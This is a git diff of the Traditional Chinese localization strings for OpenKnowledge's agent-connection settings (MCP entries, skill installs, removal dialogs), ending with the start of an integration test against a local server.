src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "在應用程式內"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "透過 CodeMirror 的預設按鍵對應,在原始碼編輯器中插入、刪除、移動、複製和縮排行。"#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "安裝 {0}"msgid "Install {brand} →"msgstr "安裝 {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "安裝 {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "請先在此處安裝一個技能"@@ -7172,22 +7266,12 @@ msgstr "安裝 gh CLI"msgid "Install this skill"msgstr "安裝此技能"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "已安裝"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "已安裝——ok 可以在外部終端機中使用。取消勾選會把它移除;OpenKnowledge 的內建終端機和 AI 工具照常可用。"--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "已安裝 — 可在外部終端機中使用 ok。取消勾選會將其移除;你的 AI 工具仍可正常使用。"-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "安裝後可用於你的所有專案"msgid "Installs into this project"msgstr "安裝到此專案"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "為此智慧代理安裝 OpenKnowledge 探索技能。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "為此智慧代理安裝 OpenKnowledge 專案技能。"+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "將技能安裝到 {path} — 第一個位置保存技能自身的副本"@@ -7643,7 +7735,7 @@ msgstr "正在載入 {fileName}"msgid "Loading agent activity"msgstr "正在載入代理活動"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "正在載入代理…"@@ -7866,11 +7958,16 @@ msgstr "listPacks 回應格式錯誤"msgid "Malformed plan response"msgstr "計畫回應格式錯誤"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "管理"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "管理 {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "管理技能資料夾"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "管理 OpenKnowledge 用來瀏覽和同步你的儲存庫的那個 GitHub 帳戶。"-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "這個版本無法管理 AI 工具。"--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "這個版本無法管理專案的 AI 工具。"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "此版本無法管理智慧代理連線。"#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "同時執行的代理已達上限"msgid "MCP auto-repair failed"msgstr "MCP 自動修復失敗"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP 連接"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures} 的 MCP 自動修復失敗"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "修改連結目標、錨點和顯示標籤。"msgid "More"msgstr "更多"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "更多資訊"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "還有更多要求被攔截。"@@ -8537,7 +8632,7 @@ msgstr "還沒有設定任何代理——請從傳送選單中挑一個。"msgid "no agents — saved, not installed anywhere"msgstr "未選擇代理 — 僅保存,不安裝到任何位置"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "沒有可用的代理。"@@ -8546,7 +8641,7 @@ msgstr "沒有可用的代理。"msgid "No agents enabled"msgstr "沒有啟用任何代理"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "沒有代理符合你的搜尋。"@@ -8910,11 +9005,12 @@ msgstr "未回答"msgid "Not attached to desktop bridge"msgstr "未連接到桌面橋接"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "這個平台不支援"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "未連接"@@ -8922,6 +9018,10 @@ msgstr "未連接"msgid "Not connected to GitHub."msgstr "尚未連接到 GitHub。"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "未在此電腦上偵測到"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "不太好"@@ -8932,7 +9032,7 @@ msgstr "不在側邊欄中"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "未安裝"@@ -9065,15 +9165,15 @@ msgstr "在 <0>{address}</0> 中選取的文字上"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "在根索引上,okf_version 被寫為引號的字串,如 \"0.2\"。不加引號,YAML 將其讀為數字,0.10 默默地變成 0.1。"-#. Next step for a Cursor project MCP row — Cursor leaves project servers disabled-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: enable it in Cursor → Settings → Tools & MCP (Cursor leaves project servers off until you turn them on)."-msgstr "還差一步:到 Cursor → Settings → Tools & MCP 中啟用它(Cursor 預設會關閉專案伺服器,要你自己打開)。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.enable-manually"+msgstr "還差一步:到 {agent} → Settings → Tools & MCP 中啟用它({agent} 預設會關閉專案伺服器,要你自己打開)。"-#. Next step for a Claude Code project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "One more step: run <0>claude</0> in this project and approve OpenKnowledge once."-msgstr "還差一步:在這個專案中執行 <0>claude</0>,並核准 OpenKnowledge 一次。"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.approve-once"+msgstr "還差一步:在這個專案中執行 {agent},並核准 OpenKnowledge 一次。"#: src/components/ConsentDialogBody.tsxmsgid "One pattern per line — appended to <0>.okignore</0>."@@ -9164,10 +9264,6 @@ msgstr "請先開啟一個專案。"msgid "Open a project to edit."msgstr "請開啟一個專案才能編輯。"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Open a project to manage its AI tool connections."-msgstr "請開啟一個專案,才能管理它和 AI 工具的連接。"-#: src/components/NavigatorApp.tsxmsgid "Open a single markdown file — no project setup."msgstr "開啟單一 markdown 檔案——不必設定專案。"@@ -9506,6 +9602,10 @@ msgstr "OpenKnowledge 檢查了衝突"msgid "OpenKnowledge checked the project"msgstr "OpenKnowledge 檢查了專案"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge could not find this agent on this machine."+msgstr "OpenKnowledge 未在此裝置上找到該代理程式。"+#: src/components/TerminalPanel.tsxmsgid "OpenKnowledge couldn't read terminal.shell in .ok/local/config.yml. Using an available Windows shell instead."msgstr "OpenKnowledge 無法讀取 .ok/local/config.yml 中的 terminal.shell,將改用可用的 Windows shell。"@@ -9534,6 +9634,18 @@ msgstr "OpenKnowledge 刪除了 {subject}"msgid "OpenKnowledge deleted a document"msgstr "OpenKnowledge 刪除了一個文件"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge discovery skill"+msgstr "OpenKnowledge 探索技能"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format."+msgstr "OpenKnowledge 無法辨識此項目,且無法在此檔案格式中安全取代。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge does not recognize this entry. Turning it on replaces it."+msgstr "OpenKnowledge 無法辨識此項目。啟用後將取代它。"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge edited {subject}"msgstr "OpenKnowledge 編輯了 {subject}"@@ -9578,6 +9690,10 @@ msgstr "OpenKnowledge 正在使用 gh CLI 提供的 GitHub 帳戶。沒有另外msgid "OpenKnowledge is using this GitHub account."msgstr "OpenKnowledge 正在使用這個 GitHub 帳戶。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "OpenKnowledge left this file alone because it could not parse it safely. Fix the file by hand, then try again."+msgstr "OpenKnowledge 未修改此檔案,因為無法安全地解析它。請手動修正該檔案,然後再試一次。"+#: src/lib/acp/tool-call-display.tsmsgid "OpenKnowledge listed the installed skills"msgstr "OpenKnowledge 列出了已安裝的技能"@@ -10289,10 +10405,6 @@ msgstr "專案"msgid "Project"msgstr "專案"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Project AI tool management is only available in the OpenKnowledge desktop app."-msgstr "專案的 AI 工具管理只在 OpenKnowledge 桌面應用程式中提供。"-#: src/components/CreateProjectDialog.tsxmsgid "Project details"msgstr "專案詳細資料"@@ -10301,6 +10413,10 @@ msgstr "專案詳細資料"msgid "Project folder created, but git init failed. Try again."msgstr "專案資料夾已建立,但 git init 失敗。請再試一次。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project MCP server"+msgstr "專案 MCP 伺服器"+#: src/components/CreateProjectDialog.tsxmsgid "Project name"msgstr "專案名稱"@@ -10314,6 +10430,10 @@ msgstr "專案外掛是你專案的寫作標準——在這裡開啟或關閉它msgid "Project root"msgstr "專案根目錄"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Project skill"+msgstr "專案技能"+#: src/components/settings/ProjectTemplatesSection.tsxmsgid "Project templates"msgstr "專案範本"@@ -10468,6 +10588,21 @@ msgstr "{pushed}推送"msgid "Pushing"msgstr "正在推送"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.user"+msgstr "將 OpenKnowledge 探索技能放進 {agent} 的全域技能資料夾,讓它在任何專案中都能找到 OpenKnowledge。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.project"+msgstr "將 OpenKnowledge 技能放進 {agent} 在這個專案中的技能資料夾,讓它的編輯保持署名。"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.skill.central-store"+msgstr "將 OpenKnowledge 技能放進 {agent} 讀取的中央技能庫。"+#: src/components/acp/working-status.tsmsgid "Puzzling…"msgstr "解謎中…"@@ -10586,6 +10721,10 @@ msgstr "最近的專案"msgid "Recently opened"msgstr "最近開啟"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Recommended"+msgstr "建議"+#: src/components/settings/LintingSection.tsxmsgid "Recommended agent skill"msgstr "推薦代理技能"@@ -10721,6 +10860,8 @@ msgstr "遠端控制"msgid "Remote skill source"msgstr "遠端技能來源"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/editor/extensions/InternalLinkPropPanel.tsx#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Remove"@@ -10761,6 +10902,10 @@ msgstr "移除 {patternText}"msgid "Remove {projectName} from recent projects"msgstr "把 {projectName} 從最近的專案中移除"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Remove {rowLabel}"+msgstr "移除 {rowLabel}"+#: src/components/ui/tag-pill-input.tsxmsgid "Remove {tag}"msgstr "移除 {tag}"@@ -10773,6 +10918,10 @@ msgstr "移除失敗:{error}"msgid "Remove field {field}"msgstr "移除欄位 {field}"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove for both"+msgstr "移除兩者"+#: src/components/NavigatorApp.tsx#: src/components/recent-remove-controls.tsxmsgid "Remove from recent projects"@@ -10792,6 +10941,15 @@ msgstr "移除連結"msgid "Remove OpenKnowledge from {0}"msgstr "把 OpenKnowledge 從 {0} 中移除"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge from {0}?"+msgstr "從 {0} 移除 OpenKnowledge?"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Remove OpenKnowledge?"+msgstr "移除 OpenKnowledge?"+#: src/components/TemplateForm.tsxmsgid "Remove property"msgstr "移除屬性"@@ -10935,7 +11093,7 @@ msgid "Reopening \"{docName}\" with a fresh local collaboration cache."msgstr "正在用全新的本機協作快取重新開啟「{docName}」。"#: src/lib/install-onboarding-toast.ts-msgid "repaired {names} MCP integration"+msgid "repaired MCP integration for {names}"msgstr "已修復 {names} 的 MCP 整合"#: src/editor/find-replace/FindReplaceBar.tsx@@ -10951,6 +11109,10 @@ msgstr "取代 {keyName}"msgid "Replace all matches"msgstr "取代所有相符項"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replace and save"+msgstr "取代並儲存"+#: src/editor/find-replace/FindReplaceBar.tsxmsgid "Replace current match"msgstr "取代目前的相符項"@@ -10983,6 +11145,10 @@ msgstr "要把這些副本換成指向來源的符號連結嗎?"msgid "Replace these symlinks with independent copies?"msgstr "要把這些符號連結換成獨立的副本嗎?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Replaces the existing \"open-knowledge\" entry in this file. Other servers in the file are left alone."+msgstr "取代此檔案中現有的 \"open-knowledge\" 項目。檔案中的其他伺服器維持不變。"+#. placeholder {0}: formatToolList( replacing.map((e) => e.label), i18n.locale, )#: src/components/McpConsentDialogBody.tsxmsgid "Replaces the existing OpenKnowledge entry in {0}"@@ -11239,7 +11405,7 @@ msgstr "擷取中…"#: src/components/ConnectingBanner.tsx#: src/components/handoff/useHandoffDispatch.ts#: src/components/PublishToGitHubDialog.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TrashFailureModal.tsxmsgid "Retry"msgstr "重試"@@ -11379,6 +11545,7 @@ msgstr "沙箱化的 HTML 嵌入——寫下 HTML,即時看到顯示結果。"msgid "Save"msgstr "儲存"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/editor/components/CodePreviewEditModal.tsxmsgid "Save changes"msgstr "儲存變更"@@ -11429,6 +11596,7 @@ msgstr "和專案一起保存,供你的團隊使用。"msgid "Saves the file to <0>~/Downloads/openknowledge.skill</0> and opens the Claude Desktop App. Requires Node.js or Bun on your PATH."msgstr "把檔案存到 <0>~/Downloads/openknowledge.skill</0> 並開啟 Claude Desktop App。需要你的 PATH 中有 Node.js 或 Bun。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SearchSection.tsxmsgid "Saving"msgstr "正在儲存"@@ -11482,7 +11650,7 @@ msgstr "按語意搜尋「{semanticSubmitQuery}」"msgid "Search ({searchShortcutLabel})"msgstr "搜尋({searchShortcutLabel})"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Search agents"msgstr "搜尋代理"@@ -12066,8 +12234,7 @@ msgstr "再顯示 {0} 個"msgid "Show {hidden} more"msgstr "再顯示 {hidden} 個"-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show {hiddenCount} more"msgstr "再顯示 {hiddenCount} 個"@@ -12133,8 +12300,7 @@ msgid "Show in Explorer"msgstr "在檔案總管中顯示"#: src/components/PackCardGrid.tsx-#: src/components/settings/ConfigureAgentsSection.tsx-#: src/components/settings/editor-list-fold.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Show less"msgstr "收合"@@ -12341,11 +12507,6 @@ msgstr "來自 {0}/{1} 的技能。"msgid "Skills from OpenKnowledge"msgstr "來自 OpenKnowledge 的技能"-#. Points at the settings page that now owns skill install, in Settings → AI tools & CLI-#: src/components/settings/AiToolsSection.tsx-msgid "Skills moved to Skills Studio."-msgstr "技能已移至技能工作室。"-#: src/components/settings/SkillFolderLinkConfirmDialog.tsxmsgid "Skills reassigned"msgstr "技能已重新指派"@@ -12501,6 +12662,7 @@ msgstr "傳送你的意見回饋時出了點問題。請再試一次。"msgid "Something went wrong starting the terminal."msgstr "啟動終端機時出了點問題。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/SubscribeForm.tsxmsgid "Something went wrong. Please try again."msgstr "出了點問題。請再試一次。"@@ -13074,7 +13236,6 @@ msgstr "範本"msgid "Templates available"msgstr "可用的範本"-#. Group label above the shell-PATH row in Settings → AI tools & CLI#. Section label above the shell-PATH toggle in the first-launch dialog#: src/components/CommandPalette.tsx#: src/components/empty-state/CreatePromptComposer.tsx@@ -13083,8 +13244,7 @@ msgstr "可用的範本"#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/settings/TerminalSection.tsx#: src/components/TerminalNewChatButton.tsx@@ -13212,6 +13372,11 @@ msgstr "{0} 的下載要求逾時。"msgid "The {0} plugin serves these skills from its cache — OK never edits or updates them."msgstr "{0} 外掛從其快取提供這些技能 — OK 絕不會編輯或更新它們。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.codex.desktop-project-config"+msgstr "{agent} 桌面應用程式會忽略這個專案設定;只有 {agent} 命令列會讀取它。"+#: src/components/SkillForkDialog.tsxmsgid "The {editor} folder holds a different version of this skill. Pick which one wins, or keep both under different names. Whatever you replace is backed up first."msgstr "{editor} 資料夾裡有這個技能的另一個版本。請選要以哪一個為準,或者用不同名稱兩個都保留。被取代的內容會先備份。"@@ -13452,6 +13617,14 @@ msgstr "來源資料夾本身不會移動。"msgid "The template's filename (without `.md`)."msgstr "範本的檔案名稱(不含 `.md`)。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so connecting either connects both."+msgstr "{label} 的終端行與桌面行共用同一套設定,因此連接其中一個會同時連接兩者。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "The terminal and desktop rows for {label} share one setup, so removing it disconnects both."+msgstr "{label} 的終端行與桌面行共用同一套設定,因此移除它會同時中斷兩者。"+#: src/components/TerminalGate.tsxmsgid "The terminal is turned off for this project. Turn it back on to run commands here."msgstr "這個專案關閉了終端機。重新開啟後才能在這裡執行指令。"@@ -13608,6 +13781,14 @@ msgstr "此智慧代理不提供斜線指令"msgid "This agent doesn't offer slash commands — your message will be sent as plain text"msgstr "此智慧代理不提供斜線指令 — 你的訊息將以純文字傳送"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps."+msgstr "此代理程式未提供讓 OpenKnowledge 代為設定的方式。請參閱其設定指南中的手動步驟。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This agent has no file of this kind on this machine yet. Open the agent once, then check again."+msgstr "此代理程式在此裝置上尚無這類檔案。請先開啟該代理程式,然後重新檢查。"+#: src/editor/composer-mention/ComposerSlashMenu.tsxmsgid "This agent hasn't announced its commands yet"msgstr "此智慧代理尚未公布其指令"@@ -13651,6 +13832,14 @@ msgstr "這則註解是針對整個屬性的"msgid "This conflict is resolved."msgstr "此衝突已解決。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This could not be set up because the MCP server entry it needs was not written."+msgstr "無法完成設定,因為它所需的 MCP 伺服器項目未寫入。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This deletes the MCP server entries and skill files listed below. The agent will lose access to your documents until you add it again."+msgstr "這會刪除下方列出的 MCP 伺服器項目和技能檔案。在重新新增之前,智慧代理將無法存取你的文件。"+#: src/components/PanelScopeHeader.tsxmsgid "This doc"msgstr "這份文件"@@ -13683,6 +13872,10 @@ msgstr "此文件已被刪除"msgid "This endpoint ignored the vector size you configured. Remove <0>search.semantic.dimensions</0> to use the model's own size."msgstr "這個端點忽略了你設定的向量維度。移除 <0>search.semantic.dimensions</0> 就會改用模型自己的維度。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This entry changed after OpenKnowledge wrote it. Turning it on replaces it."+msgstr "OpenKnowledge 寫入後此項目已變更。啟用會將其取代。"+#: src/components/settings/frontmatter-schema-field-editor.tsxmsgid "This field carries additional schema keywords the editor does not show — they are preserved on save."msgstr "這個欄位帶有編輯器沒有顯示的額外結構描述關鍵字——儲存時會保留下來。"@@ -13735,6 +13928,10 @@ msgstr "這個資料夾是 {actualOwner}/{actualRepo} 的複本,而不是 {expmsgid "This folder is a clone of {expectedOwner}/{expectedRepo} on {actualHost}, not {expectedHost}. Pick a folder cloned from {expectedHost}?"msgstr "這個資料夾是 {actualHost} 上 {expectedOwner}/{expectedRepo} 的複本,而不是 {expectedHost}。要換一個從 {expectedHost} 複製的資料夾嗎?"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This folder is also {alsoAffects}'s."+msgstr "此資料夾同時也屬於 {alsoAffects}。"+#: src/components/FolderOverview.tsxmsgid "This folder is empty."msgstr "這個資料夾是空的。"@@ -13793,6 +13990,7 @@ msgstr "這個項目"msgid "This looks like a drive root (e.g., C:\\). Scaffolding here will scan an entire drive."msgstr "這看起來像是磁碟機根目錄(例如 C:\\)。在這裡建立專案骨架會掃描整個磁碟機。"+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/ScopeBadge.tsx#: src/components/SkillScopeSegment.tsxmsgid "This machine"@@ -13818,6 +14016,10 @@ msgstr "這個需要查看您的文件,而不僅僅是打開的文檔,因此msgid "This one teaches your AI tools how to work with OpenKnowledge. It lives in the project folder, so it installs for everyone who opens the project."msgstr "這一個教你的 AI 工具如何使用 OpenKnowledge。它位於專案資料夾中,因此會為每個開啟這個專案的人安裝。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This option cannot be changed automatically."+msgstr "無法自動變更此選項。"+#: src/components/SeedDialog.tsxmsgid "This pack is already set up here."msgstr "這個套件在這裡已經設定好了。"@@ -13873,6 +14075,7 @@ msgid "This permanently removes {path}. Agents that reference this template by nmsgstr "這會永久移除 {path}。在重新建立它,或由上層資料夾中的同名範本取代之前,用名稱參照這個範本的代理都會失敗。"#: src/components/PanelScopeHeader.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/SkillScopeSegment.tsxmsgid "This project"@@ -13921,11 +14124,6 @@ msgstr "這個專案正在執行的伺服器不支援即時編輯。重新啟動msgid "This project's server (v{0}) is newer than this app (v{1})."msgstr "這個專案的伺服器(v{0})比這個應用程式(v{1})新。"-#. Points at the settings page that now owns the project skill, in Settings → This project → AI tools-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "This project's skill moved to Skills Studio."-msgstr "這個專案的技能已移至技能工作室。"-#: src/uninstall/UninstallPickerScreen.tsxmsgid "This removes OpenKnowledge’s settings and integrations from your Mac and any projects you select below, but keeps your markdown content and authored skills."msgstr "這會從你的 Mac 以及你在下面選的專案中移除 OpenKnowledge 的設定和整合,但會保留你的 markdown 內容和你自己寫的技能。"@@ -13963,6 +14161,18 @@ msgstr "這項設定按每台電腦生效,不會分享給協作者。"msgid "This setting is per-machine and isn't shared with collaborators. It needs an API key (set below) unless your endpoint is a local server that doesn't require one."msgstr "這項設定按每台電腦生效,不會分享給協作者。除非你的端點是不需要金鑰的本機伺服器,否則需要一把 API 金鑰(在下面設定)。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers} through <0>{path}</0>. Removing it here removes it for {peers} too."+msgstr "此設定透過 <0>{path}</0> 與 {peers} 共用。在此移除也會同時為 {peers} 移除。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}, and OpenKnowledge cannot change it from here. Unlink the folder in Skills Studio first."+msgstr "此設定與 {peers} 共用,OpenKnowledge 無法在此處變更它。請先在 Skills Studio 中取消該資料夾的連結。"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "This setup is shared with {peers}. Removing it here removes it for {peers} too."+msgstr "此設定與 {peers} 共用。在此移除也會同時為 {peers} 移除。"+#: src/components/ImportSkillForm.tsxmsgid "This source bundles several skills — choose one, then Import."msgstr "這個來源包含好幾個技能——先選一個,再匯入。"@@ -14283,7 +14493,6 @@ msgid "Type to find a doc"msgstr "輸入以尋找文件"#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsxmsgid "unavailable on this platform"msgstr "這個平台無法使用"@@ -14917,8 +15126,7 @@ msgstr "希望 AI 做什麼?(選填)"msgid "What the agent may read, write, and surface."msgstr "代理可以讀取、寫入和呈現的內容。"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "What this checkbox changes"msgstr "這個核取方塊會改變什麼"@@ -14994,6 +15202,10 @@ msgstr "你是誰,好讓代理知道你的背景。"msgid "Whole word"msgstr "全字相符"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Why this needs attention"+msgstr "為什麼需要注意"+#: src/editor/extensions/WikiLinkPropPanel.tsxmsgid "Wiki link"msgstr "維基連結"@@ -15031,6 +15243,10 @@ msgstr "視窗"msgid "Without a connected AI tool, the pack's {packSkillCount, plural, one {# skill} other {# skills}} won't be installed."msgstr "沒有已連接的 AI 工具,此入門套件的 {packSkillCount, plural, one {# 項技能} other {# 項技能}} 不會安裝。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Without the skill the agent still works, but it loses edit attribution and the live preview."+msgstr "沒有該技能,智慧代理仍可運作,但會失去編輯歸屬與即時預覽。"+#: src/components/settings/settings-fields.tsmsgid "Word wrap"msgstr "自動換行"@@ -15078,6 +15294,11 @@ msgstr "Worktree"msgid "Wrap long lines in the markdown source editor."msgstr "在 markdown 原始碼編輯器中把過長的行自動換行。"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.managed-file"+msgstr "寫入一個小型橋接檔案,{agent} 會從這個專案載入它來連接 OpenKnowledge。"+#: src/components/McpConsentDialogBody.tsxmsgid "Writes an entry to"msgstr "寫入項目到"@@ -15086,6 +15307,10 @@ msgstr "寫入項目到"msgid "writing"msgstr "寫作"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Writing this file failed. Check the OpenKnowledge log for the reason."+msgstr "寫入此檔案失敗。請查看 OpenKnowledge 記錄檔以了解原因。"+#: src/components/acp/ThreadView.tsxmsgid "Wrote the Open Knowledge extension, but couldn't mark the folder trusted, so it won't load. This thread has no Open Knowledge tools."msgstr "已寫入 Open Knowledge 擴充功能,但無法將該資料夾標記為受信任,因此不會載入。此執行緒沒有 Open Knowledge 工具。"@@ -15233,6 +15458,10 @@ msgstr "你本機的 <0>{shareBranch}</0> 分支副本有變更還沒推到 GitHmsgid "Your current version is saved first, so this is reversible."msgstr "你目前的版本會先存起來,所以這一步可以回復。"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Your documents are not touched."+msgstr "不會變更你的文件。"+#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/tests/integration/api-error-envelope/agent-integrations-apply.test.ts b/packages/app/tests/integration/api-error-envelope/agent-integrations-apply.test.tsnew file mode 100644index 000000000..57c085d40--- /dev/null+++ b/packages/app/tests/integration/api-error-envelope/agent-integrations-apply.test.ts@@ -0,0 +1,87 @@+import { AgentIntegrationsApplySuccessSchema } from '@inkeep/open-knowledge-core';+import { afterAll, beforeAll, describe, expect, test } from 'vitest';+import { HARNESS_BOOT_TIMEOUT_MS } from '../harness-boot-timeout';+import { createTestServer, type TestServer } from '../test-harness';++let server: TestServer;+const base = () => `http://127.0.0.1:${server.port}`;++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry';++function apply(body: unknown, headers: Record<string, string> = {}): Promise<Response> {+ return fetch(`${base()}/api/agent-integrations/apply`, {+ method: 'POST',+ headers: { 'Content-Type': 'application/json', ...headers },+ body: 